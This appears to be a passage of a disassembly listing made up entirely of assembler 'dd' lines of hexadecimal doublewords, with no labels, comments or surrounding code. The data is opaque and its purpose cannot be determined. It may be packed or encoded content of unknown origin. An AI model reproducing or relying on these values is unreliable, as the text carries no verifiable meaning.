		dd 0B60B3878h, 0CB0FDE95h, 857DCB5Fh, 15CD5180h, 0FE7DBE58h
		dd 453D8B03h, 90386549h, 202E17h, 0DFD36697h, 0E651B3EEh
		dd 0CD58607h, 6C50AFE5h, 0C20430h, 9A1AD990h, 0AA71CE06h
		dd 352A48h, 6F76C7EEh, 29EB63h,	14C1F13Dh, 0F391125Ch
		dd 0D3D5D000h, 0DECFACE4h, 372A0003h, 56094344h, 0A039EDC5h
		dd 89B90086h, 1F88121Dh, 0A5A30054h, 35F04805h,	7200B030h
		dd 0BAA897D8h, 0F4857FC5h, 584C00D0h, 0C818B4CEh, 0D900AEA4h
		dd 0DDA9BA21h, 5F592h, 0B7BD8689h, 5C1A0B15h, 0F9E4FEB8h
		dd 3C2FC00h, 0E5AF19ACh, 0B17EA1h, 13B96124h, 355BDEB8h
		dd 453FF3Bh, 3D3F773Ch,	0CE665480h, 0E4C00B6h, 0A06B4ADDh
		dd 2400C6ADh, 91545614h, 0D7CDB7h, 2E82A76h, 6B32EF51h
		dd 0CC08DF00h, 0DC09F330h, 367300F4h, 9ED31826h, 597A4315h
		dd 49039600h, 5B879F79h, 484700C2h, 0A0D0194Bh,	2B26B0FAh
		dd 3C0042F1h, 855B4C3Fh, 4399008Fh, 0C17E4223h,	0D5072F49h
		dd 649EE0C3h, 888C7590h, 14FC00D7h, 3D58299Bh, 6900850Fh
		dd 0F40D97F3h, 73F3B4Bh, 0C52312C8h, 0B4E06395h, 0BB8A5380h
		dd 35D45A00h, 318D69C9h, 1A7D012Eh, 0CC332692h,	0B657F449h
		dd 565C1C00h, 4D8FBB61h, 0B3BE00A7h, 46262E29h,	1917F580h
		dd 5100CA79h, 0E1A611Eh, 10B003Bh, 276326BCh, 71F84AAh
		dd 934FAEDDh, 40D14059h, 0FEDD8A0h, 28107809h, 2E147F80h
		dd 6E002A0Bh, 647E7D7h,	4C0198h, 4A40FD53h, 704ECB44h
		dd 49F3EC00h, 980802AFh, 58E30050h, 7BBF056Ah, 4DE69EC9h
		dd 0B690D87Dh, 0CC267900h
		dd 2B3E18C5h, 23370002h, 76931758h, 100040Dh, 6F73E4F3h
		dd 0E7CAB1EAh, 38CFDCh,	86AC85EFh, 229D1968h, 0B92FD600h
		dd 12764532h, 0DBC00040h, 28AB6938h, 0F700A2D5h, 5A170C46h
		dd 1E584E9Dh, 0CF99DD3Ch, 52C0E11Ch, 0DBA662CBh, 5B129800h
		dd 1BD6B9E7h, 9CE20003h, 95E4041Dh, 0C100516Ch,	16915F21h
		dd 0FEDF1Ah, 0CE8FB960h, 94AC7FB1h, 0D43BBB01h,	3787C30Fh
		dd 1E33BEF0h, 79620DC4h, 0DCBB4980h, 246BADF7h,	0E7F08D24h
		dd 400FE50Fh, 0C1725DE2h, 0C3840009h, 0AC22CEC2h, 5A007332h
		dd 2FC756C0h, 0E674AD3Eh, 73DFA04h, 224951DCh, 693673E6h
		dd 0ECE1D6C1h, 0A100B55Ch, 837A1AEBh, 1EACEFABh, 8069D1BCh
		dd 27CECB7Bh, 8900F5FFh, 2A3A92A6h, 0A2C661h, 124491CFh
		dd 7E980DD1h, 79013E07h, 28F0F2FFh, 46FAA6h, 3715BC1Bh
		dd 5DB8A24Ah, 8D78F900h, 4231D26Eh, 0F1E25Ch, 0C18136C3h
		dd 1CF952B1h, 0B0903C50h, 58113016h, 45F3B100h,	0D9BC8Fh
		dd 0F618DF13h, 5F5D6065h, 0DEA97D00h, 0BCBB829Dh, 0B9FC394Ch
		dd 429C480h, 0E699084Fh, 0ACFF3400h, 0C8B13661h, 386E0031h
		dd 21CE04CAh, 800943Eh,	3910E065h, 22EF35h, 2F90551Eh
		dd 0EBFAB2Eh, 6047FD01h, 105EF741h, 67C2E0h, 0EEE94C5Ch
		dd 45FE2833h, 0C619320Eh, 52B440F4h, 0EF6676h, 7B216904h
		dd 578A9954h, 746C2C1Eh, 0B198CAC0h, 0F0D2DB39h, 0E07E29h
		dd 825C8750h, 3D05B43Ah, 0B6E60200h, 11A24512h,	8FFE5Ah
		dd 6DA6B824h, 4C78EFBEh, 9C4FA000h, 677BC681h, 9B6300F2h
		dd 3D0F6890h, 0F800ACA3h, 0DA9C9925h, 2EDDEFh, 894FC12Ah
		dd 58EA908h, 0FF658A16h, 0B4E9BF00h, 7E5845h, 5B807C4Ch
		dd 1FD9615Fh, 7030F91Ch, 0A0EE1900h, 6EBD83h, 0E92A447Dh
		dd 6543F2E2h, 56D11F01h, 0E8C50CB4h, 0D542F4h, 84F32488h
		dd 7AFD8DC4h, 5A075DF0h, 0A62C91D2h, 43603730h,	259F01F5h
		dd 6AD5E7EEh, 0EC007F4Fh, 0D997809Bh, 0EB1D0014h, 6B39417h
		dd 77750BDCh, 28583900h, 0E3FCD105h, 0A1FF3E67h, 9BEB4200h
		dd 16EC878Fh, 0B2F08B00h, 0CD032928h, 0A66300B4h, 5CC4AD40h
		dd 9E006273h, 0BC70F57Dh, 80BDE5h, 22B5F818h, 918FF092h
		dd 4452840Eh, 61714EE4h, 856D7AB8h, 0F5DCC8F3h,	58100047h
		dd 4C54F25Dh, 217671A1h, 24334F00h, 2ED8683Bh, 9C5E0001h
		dd 84CA181Fh, 0A27C5183h, 689F5D00h, 766F52D9h,	1D870F2Eh
		dd 3A20B16Eh, 0FFF30B5Eh, 4D561600h, 4FD21757h,	2A223A03h
		dd 513B9080h, 0B5FFD3CEh, 0CB4A0207h, 79E7A43Ch, 0A9BF001Fh
		dd 0C5836Fh, 85FDDC0Dh,	1293D69Bh, 29B85F1Dh, 92EA2280h
		dd 6FB299h, 447C4E88h, 5FD79C89h, 4DBD1003h, 0B00DCAC5h
		dd 3B585Ah, 1E11F0Fh, 254A8E82h, 4E373800h, 41F56181h
		dd 0E5AE3CB7h, 48B91Fh,	151892A0h, 0CF037DBBh, 0B82784F6h
		dd 0B1579095h, 0E29E0002h, 975FF433h, 85005D91h, 2745BB70h
		dd 7264C4E3h, 0F073035Eh, 86BEDEAAh, 8024BAF1h,	3642B930h
		dd 1E4B779h, 32CAA058h,	404128F3h, 0A1DBF6ABh, 4A0060F0h
		dd 3AE2735Bh, 0EA4AF65h, 8809D285h, 0E18D405Eh,	0CE355C6Ch
		dd 89E5900h, 0EBDD45E2h, 983E05E4h, 8062D063h, 717F7322h
		dd 8BDF900h, 0CFB32554h, 703E423h, 0A6760D85h, 2FE1912Eh
		dd 5AE6F48Eh, 560F9307h, 0A410C3BBh, 0DB0382h, 3F1F8B6Fh
		dd 0B3A39652h, 65560100h, 57DC8CAAh, 506C0094h,	6BE821Ah
		dd 70737CCBh, 3D9B2300h, 0F28C6A9Eh, 670103A7h,	1FB085E0h
		dd 0E0617F8h, 0DB0395B0h, 6B150A9Fh, 2AB93888h,	5C1B221Ch
		dd 2484C0F7h, 0FED80304h, 9C95921Ch, 91D57D40h,	5CBDBF99h
		dd 1A00CAACh, 582DAEFAh, 1D01BBDAh, 0E67B09F7h,	0C8FB962Eh
		dd 62FBDEh, 754D7F1Bh, 5F26BE89h, 76D8AC00h, 0C84A656Eh
		dd 0CFA90049h, 321D2882h, 55163B48h, 580084A0h,	76B62130h
		dd 0FE7D00D0h, 0F1D627B0h, 5D01577Bh, 0E50DE0CFh, 0E4C8234Bh
		dd 0E5378ACh, 0BA92457Ah, 0F7DFC160h, 0EDB07FD1h, 0A3078072h
		dd 6C9A6D4Eh, 0E61DD9E0h, 0BFD60044h, 0B8ECB5AFh, 0BA007CD3h
		dd 8E0AD19Eh, 0A86D27h,	0E1C85FEDh, 0C322D471h,	636E320Eh
		dd 5EB8C091h, 0FE6862h,	0B35FCE3Bh, 0E335335Dh,	8630200h
		dd 57E2CDD0h, 0E74E011h, 9BD45F77h, 0C9FD2520h,	7F38CBF1h
		dd 0ABA38049h, 0EC46D732h, 2A0D0B24h, 96001348h, 357690E7h
		dd 71A15Ch, 1AE85591h, 676633h,	0FB380D2Ah, 0A153936Bh
		dd 0DBF39400h, 0B4F4C087h, 23B600AEh, 0D004C5ADh, 0E3001C12h
		dd 0C2C4271Fh, 79B776Bh, 501550Fh, 0EB605FF1h, 0D9A41EABh
		dd 59D3B201h, 9A45A9EDh, 0E937D6D4h, 7A926CE8h,	427687h
		dd 0E477EC86h, 22FA9BE0h, 0E26D048h, 0C0EE0BD5h, 0A0BCF8A3h
		dd 86B80376h, 90FD127Dh, 0C83E7CD8h, 153FED1Dh,	454D1B00h
		dd 72AC75Eh, 93A07A1h, 808430F0h, 2E000A19h, 69A63B7h
		dd 39503BF3h, 0E23867F5h, 3F428B00h, 0EABE6276h, 32A10150h
		dd 10848F1Dh, 0A0DAED4Eh, 195C2042h, 9AFA0905h,	2F076F23h
		dd 0C5E150F0h, 357B92D7h, 0D1669000h, 0EE134B77h, 72580012h
		dd 0B8731C8Dh, 0E3002EC9h, 0E2E57531h, 0C01FE4h, 386DDE13h
		dd 8862E673h, 19360B00h, 91059AC4h, 6EBB009Dh, 26DB5EE0h
		dd 32005B25h, 0BE1AC928h, 0E50AF5h, 1DDA7547h, 57048B50h
		dd 9E725138h, 0DE808E8Ah, 353B59D8h, 0A42601F9h, 4E73AA88h
		dd 0EC52E591h, 1E00C295h, 0BFB0E6EEh, 0BCF477Ch, 0AB4F0204h
		dd 60A30B00h, 0E9009789h, 34F96758h, 0C38801h, 5ECFF0EEh
		dd 2E336AF5h, 3800FC76h, 69C297EAh, 0A4843Fh, 28F6C53Ah
		dd 272D455Fh, 3A61000h,	0A09E7D2Ch, 0CDEDA089h,	95AE004Eh
		dd 0E599B747h, 0F40026A6h, 9613948Bh, 0E0F0DC08h, 81EA0002h
		dd 592E1F4Eh, 1D01C45Bh, 4BF8F231h, 0AADC6DF3h,	823A00FFh
		dd 3D8D2DDCh, 0B9004528h, 41B7A718h, 0C50A7Fh, 58F1D30Ch
		dd 0ECDAC78Eh, 3FF69E24h, 21969800h, 74EB70h, 0C1DA813h
		dd 0B5166BC7h, 898E710Bh, 0D10781BFh, 4C600A9Dh, 790900F2h
		dd 2D23AA98h, 7D0048CCh, 2746C16Ah, 992A96h, 5C8A5D73h
		dd 0A5D9BFEAh, 9577981Fh, 0CD610AC7h, 314BBBC0h, 0AE5200ABh
		dd 0BD29118Eh, 0F200B39Ch, 0D2D1B060h, 1E280618h, 808AEBCDh
		dd 5B88ECA1h, 4C00E13Dh, 26FB8B7h, 0BDFC37h, 0FA5A2DF4h
		dd 629BDD69h, 0CF088200h, 0EF7FCA6Fh, 778A00E7h, 24AEF450h
		dd 6B0E9383h, 0A0732154h, 55D114D3h, 9BA4001Dh,	0E22D67A2h
		dd 4D00A7EAh, 0A6738807h, 0C155F3h, 0DD3CD89h, 74AD2936h
		dd 7C475100h, 0B391B160h, 4D8100B4h, 37B58505h,	34703694h
		dd 0AE2C3200h, 0D4E25B67h, 12800C4h, 380C1ACDh,	0D77D718h
		dd 32153900h, 66356757h, 0D32C0075h, 3EC47BEDh,	26004121h
		dd 1989E752h, 332937h, 0CB8E28EBh, 241AD24Bh, 0C1F5681Eh
		dd 7CF20039h, 80CD5271h, 8BC33E65h, 1B2F1Fh, 0FC7DD5D3h
		dd 59034B98h, 0F86D4793h, 0C66CB16Bh, 1ACC1ECh,	0BE3D85BDh
		dd 0C00AE697h, 0A800DEBCh, 0CE7C5BA6h, 0E8E7BDB7h, 9A3B00DCh
		dd 5029A3A5h, 110E138Fh, 0E00C09B9h, 0A436BE78h, 197B69h
		dd 448E5993h, 0C16492C5h, 0EBF88B0Bh, 89B000B1h, 1CB1C6Bh
		dd 5E78587Ah, 0FCA3AA90h, 54006370h, 8DB8E0B3h,	0E5464Ah
		dd 0D4E14EC2h, 0B75E65CFh, 81AE1800h, 2C67F94Bh, 0A4F4005Fh
		dd 0E57BCCC7h, 207DA20h
		dd 560DC370h, 0A8F0E857h, 1F60466Dh, 8086E705h,	4FB46E0Bh
		dd 0F5007164h, 1A298D2Eh, 581068C9h, 2F4862F3h,	0A020E307h
		dd 0ECC14FC1h, 20CF26EFh, 4700F7E9h, 1C2612Bh, 1E230609h
		dd 647D1F97h, 8A7100CAh, 4D1D7012h, 0F3D6400h, 185CCB86h
		dd 0A23700C8h, 0FC5283C9h, 0FE798FFAh, 31056B00h, 8E33FB4Ah
		dd 0C4F6D3h, 54E972C3h,	0F7A63495h, 0EE9E8400h,	734B1BE8h
		dd 803D0013h, 4C6B44C7h, 0C0143014h, 18DB0D52h,	7B64AFCEh
		dd 337A003Ah, 8972F887h, 570B39FEh, 0A3140Dh, 0DC184714h
		dd 616D1F41h, 1C2F00CAh, 7D5B1F6Ch, 9EEFE700h, 8281CF48h
		dd 17290094h, 4E31C654h, 0B21D65DBh, 2B9E7BBDh,	20801C9h
		dd 40241ED9h, 2E2855h, 39BCE8D5h, 5CC810F0h, 74098E00h
		dd 400B531Bh, 293D0086h, 735D4F6Bh, 0C900513Eh,	37546818h
		dd 2D5ADEh, 0BF282BC2h,	305E1A9h, 766DE01Dh, 0E60E7840h
		dd 0FECACBEh, 0EECE8772h, 33C3E980h, 9C4C0A04h,	64B1020Ch
		dd 55BD7901h, 0DAB7C440h, 1678F20Eh, 0C10A83EEh, 0AA30FFB3h
		dd 1385C6h, 8651D3AFh, 0A326248Eh, 930F4605h, 0D78072CDh
		dd 2204DBh, 422A9F85h, 66DE8E50h, 61D1B603h, 0A8893E76h
		dd 0EB7968h, 4DCE07F6h,	9656C9D6h, 9E5F3B00h, 0FDB14E95h
		dd 0B2B60024h, 4A933ACh, 0F0014B46h, 0D75E71C7h, 45D0A2E5h
		dd 0D2680007h, 87F12B32h, 36001EEDh, 0C7A98F14h, 39357064h
		dd 42009D80h, 244A0782h, 8F001044h, 0B572B86Bh,	7F3FAD1Fh
		dd 0B2EC00A4h, 354877C4h, 0F200E932h, 4AB0272h,	42A505h
		dd 4F63E39Eh, 60239958h, 8DBF3Eh, 27082BF7h, 56D41Bh, 85C352C9h
		dd 4789ECE2h, 83EB7401h, 1A862D50h, 1BC0E4E5h, 0C3920016h
		dd 7E32B776h, 38798FBCh, 8EB2D800h, 15478DA3h, 0E8C6003Dh
		dd 35A7F11h, 9C1D458Fh,	4B80BBFFh, 0B082B5DAh, 0E64A0099h
		dd 0A6A1D64Eh, 400B40Eh, 6B8A8762h, 9749C6h, 0E9864A3Dh
		dd 632D5422h, 0EAFCB800h, 0F334AA38h, 176C98EDh, 0E3124Fh
		dd 17E61F61h, 7F00096Dh, 0FDE1608Bh, 73D7DDh, 0FAEBAC12h
		dd 3F102601h, 0ABDB600h, 9305FB69h, 0B351007Fh,	0DCDA9B4Fh
		dd 0F2FC3291h, 4EF4B800h, 0A1FB351Dh, 666E0034h, 649B3DAAh
		dd 3900989Eh, 7160B92Bh, 5976FAh, 0FEEA5116h, 0C5F3E3A3h
		dd 798C490Fh, 9FFD63F4h, 9C8FD833h, 57D60020h, 0E91E076Eh
		dd 0F4005881h, 14FE4A87h, 0B84CC4BCh, 3D2E004Eh, 935B1009h
		dd 0E10004B6h, 2906743h, 7FF9F6F5h, 667F30h, 4D3C0737h
		dd 89936E5Ah, 20E19A00h, 0B3D99699h, 7F51EBAh, 9D608324h
		dd 0A9B80819h, 0AB00618Dh, 37185DCAh, 6763DBh, 35B25906h
		dd 0B576C6B4h, 0DAAC8701h, 9DF21F69h, 3D2956C8h, 0A880086Eh
		dd 48D857Dh, 7E00BAD7h,	12B5BE67h, 1BE2F2h, 7FEA65EBh
		dd 704D78DFh, 0DACB9F00h, 1BE3ED7h, 6F5301F0h, 0F92C8633h
		dd 2116D04Ch, 5D19E600h, 7FDB934Fh, 9C3200AAh, 29D5CDD7h
		dd 24020612h, 0FD773BF9h, 7E0C074h, 88F00F32h, 0C8C0839Ch
		dd 8B499876h, 28E29300h, 0A122140Bh, 0E30E0060h, 4F650C7Dh
		dd 0FF009291h, 0F2F5ADE5h, 982E775Fh, 0F7230035h, 0DB8E3453h
		dd 0D702703Bh, 94FADF56h, 0C2016166h, 78B063CCh, 581D017Eh
		dd 97FFF5A7h, 25E360BDh, 0B5FBDB03h, 9A40F922h,	3264C0BFh
		dd 8E5400A8h, 6E60D806h, 0A40077CCh, 0CAC71CE8h, 0EF6F3863h
		dd 66BFD8h, 2DA9645Ah, 0DD5EC9AFh, 0DEF61B00h, 0B97E75FBh
		dd 34E31DDBh, 0DF5BC361h, 0A8E0BEBCh, 78007D09h, 0F1A1432Eh
		dd 0D95C39h, 0B5E552C4h, 86B3A8CEh, 714C7E01h, 0DDBA6166h
		dd 0AC051E5h, 8FAD0190h, 0AE4092A6h, 0E2FE40E4h, 0C307744Bh
		dd 0C06D5134h, 6A0053FEh, 0AEF8119Ah, 0B99822h,	27E9497Fh
		dd 3F8ECFC8h, 280084E2h, 48140E08h, 322C6D9h, 4AF59472h
		dd 38B07A65h, 0BB03F3E6h, 8F91033Bh, 88D6BB31h,	77C6B1h
		dd 0DCEF9DBAh, 0E121D76Bh, 0BF5BA100h, 1812BB55h, 6781008Eh
		dd 0E7DB922Bh, 0D903FAD8h, 95620730h, 0EFB7A813h, 43E4011Fh
		dd 27D10DDEh, 89C0D750h, 0B9F6D5F6h, 0E8DFAA00h, 0F45EEA14h
		dd 7DB82Dh, 0C291226Eh,	5DDB2141h, 0F0E1CB1Fh, 0BBE803Eh
		dd 0B5235A48h, 3E9E04Bh, 8FDE30BBh, 0C7C829DCh,	88FA7DDFh
		dd 1E5A6100h, 3ED5A2CEh, 0ADB400EAh, 0DE12E50Ah, 6D3D7023h
		dd 0ABA500FEh, 67CE0507h, 9640EF1Dh, 2DBBDEEh, 44A243C9h
		dd 2AC0D91Ch, 7C00AFBAh, 0AA2AB6A8h, 3F20F62h, 0C4E1D5ABh
		dd 6EF9501Bh, 9F87E0FEh, 0BE0DFD00h, 29E9E585h,	7A33005Ah
		dd 1CF56AFAh, 4100F072h, 0EFCE8F1Dh, 0EC90B552h, 454A0033h
		dd 0A795F37Dh, 43004171h, 7CF9473h, 0E089798h, 3EF754A4h
		dd 0FD3D409Fh, 7938A675h, 3A99100h, 0F2367BDFh,	70F4A2h
		dd 9F7DBD6Ch, 0AB33B4ADh, 0BC007E7Dh, 0CD3C441Fh, 825901h
		dd 6FD5CCC2h, 47D32A4Ch, 14F19A0Ch, 0BA1B06Bh, 3685AA2Eh
		dd 0E3EC8980h, 0AE015362h, 8BAFE6FCh, 9FD4329Bh, 721E0061h
		dd 6D7E7A11h, 0EC0014ACh, 0C4E8D830h, 21C8E7h, 0F1EAE213h
		dd 8A726492h, 0E4FF6300h, 4A7779A9h, 6D4F0074h,	596C219Dh
		dd 7D00DE46h, 0B2DFBFD5h, 10D715Eh, 8C725AA7h, 0E0753A78h
		dd 660EFF8Ah, 0A035DD24h, 45C3A291h, 4BCB241Dh,	74F10593h
		dd 0F0980F77h, 41E26B41h, 14A12B72h, 0D2EAE8h, 607FB171h
		dd 29111D3Ah, 0E6885C00h, 218A27C4h, 9820008h, 0D454452Eh
		dd 3201152Dh, 2F977C0Dh, 9BCCD2FFh, 0C8590E78h,	42809346h
		dd 79A00621h, 64AD5200h, 0E090C10Eh, 0AA8200B2h, 5732B0A6h
		dd 0FF001156h, 7ACD9D14h, 1C8541h, 842F875Ch, 0FC407D7Bh
		dd 8972A501h, 0CA5B22E6h, 7A3ACCD8h, 317F00C8h,	0C68E61F9h
		dd 5F00B3F3h, 52BE5627h, 0E9F5FCh, 0A42450Eh, 7E031CCDh
		dd 5CF4E87Dh, 99D81300h, 3AC1C415h, 70F900D5h, 0D61AAA48h
		dd 0D3F6F1B6h, 96741FECh, 21820D50h, 2EED4B00h,	0ECC9BA20h
		dd 2547E64Ch, 0ED54687Ah, 25FD0600h, 30B6981h, 0D064661Dh
		dd 51C8E227h, 0FAF69988h, 7A5EB40Fh, 9B2DA222h,	0CCFF400Dh
		dd 0C12A00F2h, 51669187h, 24001215h, 0FA259EEEh, 49C1BC7h
		dd 617750E5h, 2089C7E9h, 540FB208h, 8881A500h, 68B4BC0Ch
		dd 7FB5005Ch, 0F678091Ch, 0D8009493h, 8263125Ah, 9FD2D1h
		dd 6CAF7A71h, 2A86C5E7h, 60BFB471h, 7FB754h, 16A227D4h
		dd 0FB60F0DEh, 0E67BDC00h, 0FFAAACD7h, 0FA3900EAh, 0BC5D99DBh
		dd 0A2004550h, 162C22B1h, 1CEFAF8Eh, 0A55273h, 857E7FBh
		dd 8800594Fh, 0CC9DDF2Ah, 0F6C7B4A9h, 0CDC80796h, 400FEB2Fh
		dd 7113D1A3h, 7D495100h, 0FB7C92C1h, 0A9DD0080h, 0A5FDDEEAh
		dd 4400C2CAh, 0C875DC9Bh, 98B2093Eh, 0C13D242Bh, 0CF0500B5h
		dd 5D717A41h, 0FE7B48h,	68AD5AB5h, 73E003h, 0BDF9B03Fh
		dd 3E127CA5h, 17F7E200h, 5EFBBB31h, 0A3DF2CCEh,	26003CDFh
		dd 726B45A8h, 0EE002017h, 493518BCh, 0B06C5h, 9D5BE8ACh
		dd 74E33EF1h, 0F2CB291Dh, 6E9EAE82h, 0C7A3400Ch, 0DFE70050h
		dd 0E0FD7E43h, 5F00D23Bh, 63BFFC21h, 738FB5h, 4976E301h
		dd 0B2A678F5h, 15309300h, 0D69F34CAh, 7B89006Fh, 4C27B5E8h
		dd 0CB00F394h, 7E96F0E7h, 9CCD268h, 0FE677B87h,	0F81E0503h
		dd 7300CFDFh, 1019402Ch, 0A1742B00h, 0FEA308DBh, 0F40F03E9h
		dd 623EA0D6h, 28ED4EF8h, 0DF71700Eh, 0C400B78Dh, 564978CAh
		dd 0ACC325D4h
		dd 0C46F0480h, 0B2177243h, 37008A61h, 0FA45FB2Dh, 4DA70034h
		dd 83B14416h, 7673CE8Dh, 2D33930Eh, 52B940C3h, 1D3A8D8h
		dd 110C8501h, 0D8B804F3h, 0A1DEE1Dh, 500AD9Ah, 3F937402h
		dd 0F4397DDCh, 3577287h, 0AE8DE9FAh, 89C0E07Ch,	700020DFh
		dd 2918446Eh, 7914CDh, 0F6A8BF97h, 5F120775h, 0E71AE90Ch
		dd 5668CBh, 657DB48Ah, 0E3E5A410h, 0E031DA00h, 5B97A9D7h
		dd 9CC8008Eh, 0FDCA198Ch, 570090EBh, 0F0DA7882h, 0B3D701h
		dd 236E6ABAh, 0A03F9D99h, 24B4800h, 17B680DEh, 78B100C7h
		dd 0F15FD13Ch, 0B400A056h, 2AA97C3Bh, 834C47h, 7AE8ABA1h
		dd 0DCC9097h, 18F7AD0Fh, 0DE42A064h, 489FE946h,	0E400D8D8h
		dd 89ED9484h, 0BE00A9E5h, 0E04A3542h, 0EBD1FCBDh, 5BF598CBh
		dd 0A2B0047h, 99B21914h, 6CEA3A1Dh, 0C09057F2h,	1E47AF3Fh
		dd 0EE0066C0h, 25D149ABh, 0E82D00F8h, 0D338DE95h, 0BD098EEAh
		dd 80A17165h, 256FF9B8h, 0A4FA39A9h, 405B6B1Eh,	0DDC16C5Ch
		dd 5901C254h, 420D521Fh, 0E0D229D4h, 16FA5A4h, 4AC7FC1h
		dd 705178C8h, 0A6006809h, 265F2DB9h, 0B0D6E3h, 5DB41DC9h
		dd 45B371EFh, 8D0A3300h, 6F146672h, 0C69F1DB2h,	0F937409Ch
		dd 1C55BCADh, 5A752C00h, 928EAA35h, 3CE30066h, 7D26589Bh
		dd 0C6017C79h, 0EE1F7588h, 3C701361h, 8EE900A5h, 0D77A927h
		dd 0BF00A3BBh, 8014ABD2h, 336537h, 1B3987D8h, 62EF5061h
		dd 0B68ADB00h, 0C5D3EAB0h, 0E789074Eh, 0AEDFCFC1h, 396C0BFh
		dd 9DA7DA69h, 1A0C3800h, 60A0B29Bh, 19460055h, 0A49FD839h
		dd 0C948493Dh, 959300B3h, 29C57FA2h, 82460EBAh,	1E06BE8h
		dd 0CFAFA880h, 0D460C000h, 0BAC8D3F0h, 6B5700C6h, 92331137h
		dd 3D009087h, 0DFA378F4h, 2E3C94h, 3735E573h, 41B20F3Bh
		dd 7E067F00h, 0DD5EB1ABh, 2B01004Fh, 9EAD5720h,	0EF00A179h
		dd 36DA9740h, 0E53D6D4h, 0A76118FFh, 60E94F07h,	35033349h
		dd 8501C07Dh, 950FB5AEh, 1360CC8Fh, 0E4F01C2Bh,	707580BCh
		dd 0A12F37ACh, 0F11FDCE0h, 0E08FFA43h, 9A93BFDDh, 0F2934A00h
		dd 0CA7F05h, 0EDFBE79h,	0FA99F1ABh, 0A637DC00h,	0DE0B2855h
		dd 0B8B30042h, 96C0EA49h, 3E00E2BAh, 0D6F7B45Bh, 17196B44h
		dd 57013Fh, 0C4F827D8h,	0C0334D4h, 6FE91206h, 0FDBBE814h
		dd 5C443FA2h, 0B9686200h, 26554077h, 532B2400h,	0D81C72E9h
		dd 2AD50F9Bh, 0E7E0B0F7h, 608AC9B5h, 2F641A00h,	8F9D0475h
		dd 0D4FC03D9h, 0A437EA17h, 0CB70BEF0h, 0F0AA2EC0h, 0E68A1E34h
		dd 9BBACE95h, 537E4CE0h, 8B3D283Ch, 1AAB0018h, 4336A292h
		dd 0C8600D2h, 215A738h,	0FD004F01h, 58DB40D8h, 0F9F0E6h
		dd 0D07BE829h, 0B65B7CCEh, 0CFF11004h, 2BC0212Bh, 0B41B87h
		dd 2AD465DCh, 5D4366AFh, 170F07E0h, 407EC0EFh, 7D5BD99Fh
		dd 0AA7547h, 14FD4D89h,	0B081D272h, 0DFA24100h,	6A170936h
		dd 0F7C3034Bh, 27638E75h, 17E47C7h, 0E87B1D6Ch,	0F838A1B7h
		dd 62AD87B0h, 0CF80AAC8h, 0A0119Bh, 2C6D4D23h, 12BED2C3h
		dd 0F199C200h, 8F256859h, 0DA200092h, 494A3A79h, 0BF003004h
		dd 26980FCEh, 9018CD8Bh, 347B71h, 2B8C0D24h, 313582D6h
		dd 7C2E7301h, 1FAB72Dh,	0F433F6ECh, 346A0039h, 0E3513854h
		dd 95003A93h, 4591DA21h, 3DE26E83h, 0D2033EC0h,	3D79F7F5h
		dd 7D2BF1F8h, 0B7CB020Fh, 9DF380FDh, 0EE8551ACh, 17BC003Ch
		dd 11740D36h, 5D00EEA5h, 3DFA71F8h, 74ABFD4Ch, 492E06FCh
		dd 6C8E7225h, 0EBD63800h, 40277FC0h, 3FE00CFh, 36B49976h
		dd 83003137h, 0E5D0F9Bh, 0FE2C55A4h, 151C0F88h,	1D8727h
		dd 0B54B02F4h, 0E4020BE1h, 6CFD1D79h, 35AE61F0h, 3D7DCA60h
		dd 5A38D863h, 0B30A9387h, 0E39001A2h, 6F08F884h, 4C872600h
		dd 6B72BC05h, 564C8Ch, 0B6835C04h, 0A4168380h, 44FF98C0h
		dd 0B3525A00h, 0F567E085h, 457B0142h, 0DD9C1CA5h, 8FAEE095h
		dd 6151331Eh, 5B60CE07h, 7E7800Bh, 15930E4h, 0C3BEFAF2h
		dd 8BADC5FDh, 5560D56h,	9C084E9h, 0E2B29DCh, 875ADE8Fh
		dd 56B50140h, 4F00DA1Ch, 0BC45AB80h, 3A8593BAh,	1000144Ch
		dd 0D4E40489h, 51DA7EEh, 1800BE15h, 0B5A9E55h, 83210061h
		dd 0B817E846h, 4C38BD08h, 0BBC98039h, 295FC832h, 79DFAAFh
		dd 0E540742Fh, 8078346Ah, 9FFA2C7h, 0E8B94607h,	0FE909E43h
		dd 0EE419B66h, 0E6880026h, 99B4D353h, 9F39640Eh, 32221C2Ch
		dd 0FB104680h, 77C9D1h,	178402AFh, 86DB764Eh, 4A0070E4h
		dd 0DA4C115Ch, 0ECA8C42Eh, 0D6DC1EBBh, 233A40CAh, 91B4D117h
		dd 5C7D5Ch, 64459008h, 36A0A74h, 0C158B0DEh, 8BD04F82h
		dd 0DB006CBEh, 95311436h, 906BC4h, 9B02DDC2h, 0CB16E3F8h
		dd 0A3C62E00h, 7257854Eh, 0CE450015h, 295A481Ah, 0F726C779h
		dd 0C3005E37h, 0F36426ABh, 76A60092h, 0C932D002h, 38036B5Dh
		dd 88B2B422h, 8BC1C804h, 0DD3E003Ch, 73243933h,	94708AD9h
		dd 0E653AC00h, 0CC0C5AD4h, 9D8C00DFh, 0EC21659Ch, 641FF867h
		dd 66416046h, 0FABA816Bh, 7D1AE0h, 775E629Eh, 0A3360D0Eh
		dd 8092A43Fh, 59E08B72h, 910947h, 5E10E524h, 0F46EEE4Dh
		dd 0F00737Dh, 54AACFFFh, 774E918h, 926998B1h, 1F8CC071h
		dd 150099DEh, 0BEACEE19h, 6396CBh, 80D3E89h, 0E17730A5h
		dd 0E728ED00h, 1CDBFF95h, 845F0053h, 0EE69046Bh, 0F7008D65h
		dd 0DA83FB47h, 1FD9E19Ch, 9F0EBBh, 879B6EE2h, 530019CEh
		dd 412BB7CFh, 1DE72046h, 4F619C0Ah, 744028C6h, 5433DF87h
		dd 65242200h, 885157B8h, 35EE1DABh, 0BA64015h, 0B662EDAEh
		dd 0BC89DC00h, 8C117203h, 3C9800BBh, 0ABBA0856h, 7D0004CDh
		dd 91BE5FDBh, 0AD2D2Ah,	335A495Eh, 44C80DEh, 7F70E303h
		dd 0A08FBE32h, 6562EEh,	0AD038C01h, 29F35C5h, 0C6FF3703h
		dd 90295815h, 790CF70h,	0DF95CABh, 917700C7h, 0ED0003D5h
		dd 0F07592DEh, 1CE906Ah, 952CF933h, 0D80539D1h,	7E004979h
		dd 7C64DB2Eh, 50868569h, 0FC9F75h, 43B631EBh, 0A41D2315h
		dd 607CD74h, 980DEE55h,	6AC5008Eh, 1110ABh, 0FA39AF8Bh
		dd 0B8E3FF54h, 0BAC2F303h, 0FA70CFD9h, 9B6A400Fh, 0EA7600CCh
		dd 3618538Bh, 74719EE2h, 512AF400h, 0EF4B6596h,	257E69Fh
